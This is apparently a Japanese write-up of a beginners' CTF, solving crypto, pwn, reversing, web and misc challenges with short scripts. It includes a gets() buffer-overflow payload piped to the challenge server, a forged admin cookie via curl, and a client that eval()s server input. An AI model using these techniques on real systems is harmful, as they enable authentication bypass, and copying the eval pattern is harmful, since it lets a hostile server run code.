Crypto 2, Pwn 1, Reversing 1, Web 1, Misc 3問で195位
以下、flagは直接表示せず解法のみ記載する

Crypto

Veni, vidi, vici

text fileが3つ与えられる
part1はROT13, part2はROT8, part3は上下逆さに読む
1~3の結果を繋げるとflagとなる

1
2
3
4
5
6
7
8
9
10
11
12
% file part1
part1: ASCII text
% file part2
part2: ASCII text
% file part3
part3: UTF-8 Unicode text
% cat part1
Gur svefg cneg bs gur synt vf: pgs4o{a0zber
% cat part2
Lzw kwugfv hsjl gx lzw xdsy ak: _uDskk!usd_u
% cat part3
{ʎɥdɐɹɓ0ʇdʎᴚ :sı ɓɐlɟ ǝɥʇ ɟo ʇɹɐd pɹıɥʇ ǝɥ⊥
crypto1.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
d = {}
def rot(n,s):
for c in (65, 97):
for i in range(26):
d[chr(i+c)] = chr((i+n) % 26 + c)

return "".join([d.get(c, c) for c in s])

part1 = 'Gur svefg cneg bs gur synt vf: pgs4o{a0zber'
part2 = 'Lzw kwugfv hsjl gx lzw xdsy ak: _uDskk!usd_u'

print('----- part1 -----')
for i in range(1,25):
print(str(i) + ' : ' + rot(i,part1))
print('----- part2 -----')
for i in range(1,25):
print(str(i) + ' : ' + rot(i,part2))

RSA is Power

RSAのN, E, Cが与えられる
NをMsieveを用いて素因数分解し復号する

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
% ./msieve -q -v -e 97139961312384239075080721131188244842051515305572003521287545456189235939577
Msieve v. 1.52 (SVN unknown)
Sun May 27 12:28:20 2018
random seeds: 6e686328 e437b032
factoring 97139961312384239075080721131188244842051515305572003521287545456189235939577 (77 digits)
searching for 15-digit factors
searching for 20-digit factors
commencing quadratic sieve (77-digit input)
using multiplier of 17
using generic 32kb sieve core
sieve interval: 12 blocks of size 32768
processing polynomials in batches of 17
using a sieve bound of 922619 (36471 primes)
using large prime bound of 92261900 (26 bits)
using trial factoring cutoff of 26 bits
polynomial 'A' values have 10 factors
restarting with 19257 full and 192162 partial relations
36824 relations (19257 full + 17567 combined from 192162 partial), need 36567
begin with 211419 relations
reduce to 52152 relations in 2 passes
attempting to read 52152 relations
recovered 52152 relations
recovered 40908 polynomials
attempting to build 36824 cycles
found 36824 cycles in 1 passes
distribution of cycle lengths:
length 1 : 19257
length 2 : 17567
largest cycle: 2 relations
matrix is 36471 x 36824 (5.3 MB) with weight 1107805 (30.08/col)
sparse part has weight 1107805 (30.08/col)
filtering completed in 3 passes
matrix is 25811 x 25874 (4.1 MB) with weight 862421 (33.33/col)
sparse part has weight 862421 (33.33/col)
saving the first 48 matrix rows for later
matrix includes 64 packed rows
matrix is 25763 x 25874 (2.6 MB) with weight 618823 (23.92/col)
sparse part has weight 423573 (16.37/col)
commencing Lanczos iteration
memory use: 2.6 MB
lanczos halted after 409 iterations (dim = 25759)
recovered 15 nontrivial dependencies
prp39 factor: 299681192390656691733849646142066664329
prp39 factor: 324144336644773773047359441106332937713
elapsed time 00:00:12
crypto2.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
n = 97139961312384239075080721131188244842051515305572003521287545456189235939577
p = 299681192390656691733849646142066664329
q = 324144336644773773047359441106332937713
e = 65537
c = 77361455127455996572404451221401510145575776233122006907198858022042920987316

a = (p - 1) * (q - 1)

x = 0
while True:
if (a * x + 1) % e == 0:
d = (a * x + 1) / e
break
x = x + 1

m = pow(c, d, n)
flag = ('%x' % m).decode('hex')
print(flag)

Pwn

condition

指定されたhost, portに接続すると名前を尋ねられる

1
2
3
% nc pwn1.chall.beginners.seccon.jp 16268
Please tell me your name...myname
Permission denied

実行ファイルが配布されており、objdumpで見るとmain文は以下の通り (-M intel)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
0000000000400771 <main>:
400771: 55 push rbp
400772: 48 89 e5 mov rbp,rsp
400775: 48 83 ec 30 sub rsp,0x30
400779: c7 45 fc 00 00 00 00 mov DWORD PTR [rbp-0x4],0x0
400780: bf d8 08 40 00 mov edi,0x4008d8
400785: b8 00 00 00 00 mov eax,0x0
40078a: e8 71 fe ff ff call 400600 <printf@plt>
40078f: 48 8d 45 d0 lea rax,[rbp-0x30]
400793: 48 89 c7 mov rdi,rax
400796: b8 00 00 00 00 mov eax,0x0
40079b: e8 80 fe ff ff call 400620 <gets@plt>
4007a0: 81 7d fc ef be ad de cmp DWORD PTR [rbp-0x4],0xdeadbeef
4007a7: 75 16 jne 4007bf <main+0x4e>
4007a9: bf f8 08 40 00 mov edi,0x4008f8
4007ae: e8 0d fe ff ff call 4005c0 <puts@plt>
4007b3: bf 1e 09 40 00 mov edi,0x40091e
4007b8: e8 16 00 00 00 call 4007d3 <read_file>
4007bd: eb 0a jmp 4007c9 <main+0x58>
4007bf: bf 27 09 40 00 mov edi,0x400927
4007c4: e8 f7 fd ff ff call 4005c0 <puts@plt>
4007c9: bf 00 00 00 00 mov edi,0x0
4007ce: e8 6d fe ff ff call 400640 <exit@plt>

4007a0以降が重要で、0xdeadbeefとDWORD PTR [rbp-0x4]を比較し一致しなければ4007bfへjumpしている
認証成功すれば4007a7~4007bdを実行、そうでなければ4007bfへ飛ばされる

gdb-pedaでstep実行するとgetsで読み込んだ値はrspに保存されることが分かる
rbpとrspのアドレスは固定なので、DWORD PTR [rbp-0x4]が0xdeadbeefになるよう入力を生成して認証を突破する
リトルエンディアンに注意

1
python -c "print 'a'*44+'\xef\xbe\xad\xde'" | nc pwn1.chall.beginners.seccon.jp 16268

Reversing

Simple Auth

実行可能なファイルが渡される

1
2
3
% simple_auth
Input Password: mypassword
Umm...Auth failed...

objdumpするとauth functionにフラグが埋め込まれている

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
----- snip -----

0000000000400686 <auth>:
400686: 55 push rbp
400687: 48 89 e5 mov rbp,rsp
40068a: 48 83 ec 50 sub rsp,0x50
40068e: 48 89 7d b8 mov QWORD PTR [rbp-0x48],rdi
400692: 64 48 8b 04 25 28 00 mov rax,QWORD PTR fs:0x28
400699: 00 00
40069b: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax
40069f: 31 c0 xor eax,eax
4006a1: c7 45 c0 01 00 00 00 mov DWORD PTR [rbp-0x40],0x1
4006a8: c6 45 d0 63 mov BYTE PTR [rbp-0x30],0x63
4006ac: c6 45 d1 74 mov BYTE PTR [rbp-0x2f],0x74
4006b0: c6 45 d2 66 mov BYTE PTR [rbp-0x2e],0x66
4006b4: c6 45 d3 34 mov BYTE PTR [rbp-0x2d],0x34
4006b8: c6 45 d4 62 mov BYTE PTR [rbp-0x2c],0x62
4006bc: c6 45 d5 7b mov BYTE PTR [rbp-0x2b],0x7b
4006c0: c6 45 d6 72 mov BYTE PTR [rbp-0x2a],0x72
4006c4: c6 45 d7 65 mov BYTE PTR [rbp-0x29],0x65
4006c8: c6 45 d8 76 mov BYTE PTR [rbp-0x28],0x76
4006cc: c6 45 d9 33 mov BYTE PTR [rbp-0x27],0x33
4006d0: c6 45 da 72 mov BYTE PTR [rbp-0x26],0x72
4006d4: c6 45 db 73 mov BYTE PTR [rbp-0x25],0x73
4006d8: c6 45 dc 69 mov BYTE PTR [rbp-0x24],0x69
4006dc: c6 45 dd 6e mov BYTE PTR [rbp-0x23],0x6e
4006e0: c6 45 de 67 mov BYTE PTR [rbp-0x22],0x67
4006e4: c6 45 df 5f mov BYTE PTR [rbp-0x21],0x5f
4006e8: c6 45 e0 70 mov BYTE PTR [rbp-0x20],0x70
4006ec: c6 45 e1 34 mov BYTE PTR [rbp-0x1f],0x34
4006f0: c6 45 e2 73 mov BYTE PTR [rbp-0x1e],0x73
4006f4: c6 45 e3 73 mov BYTE PTR [rbp-0x1d],0x73
4006f8: c6 45 e4 77 mov BYTE PTR [rbp-0x1c],0x77
4006fc: c6 45 e5 30 mov BYTE PTR [rbp-0x1b],0x30
400700: c6 45 e6 72 mov BYTE PTR [rbp-0x1a],0x72
400704: c6 45 e7 64 mov BYTE PTR [rbp-0x19],0x64
400708: c6 45 e8 7d mov BYTE PTR [rbp-0x18],0x7d
40070c: 48 8b 45 b8 mov rax,QWORD PTR [rbp-0x48]

----- snip -----

Greeting

nameを入力するページと、そのページで動いているPHPのソースが与えられる
isset($_POST['name'])がfalseでisset($_COOKIE['name'])がtrueになり、かつ$usernameのvalueがadminになればよい
curlでcookie name=adminを指定する

1
% curl -sS --cookie 'name=admin'  http://greeting.chall.beginners.seccon.jp | grep ctf4b

Misc

plain mail

pcap fileが与えられる
読むと1通目のメールにbase64エンコードされたzip file, 2通目にパスワードが書かれている
zip fileをデコードして解凍

misc1.py
1
2
3
import base64
import sys
print(base64.b64decode(''.join(sys.argv[1:])))
1
2
% python misc1.py $(strings packet.pcap | grep -A4 base | tail -4) > encrypted.zip
% unzip -p _you_are_pro_ encrypted.zip

Welcome

フラグは公式IRCチャンネルのトピックにあります。

てけいさんえくすとりーむず

てけいさんでは間に合わないため、式を受け取り計算して返すプログラムを書く

misc2.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('tekeisan-ekusutoriim.chall.beginners.seccon.jp', 8690))

while True:
response = s.recv(1024)
print(response)
if ('=' in response) is False:
break
expr = response.split('\n')[-1].replace(' = ', '')
s.send(str(eval(expr)) + '\n')

s.close()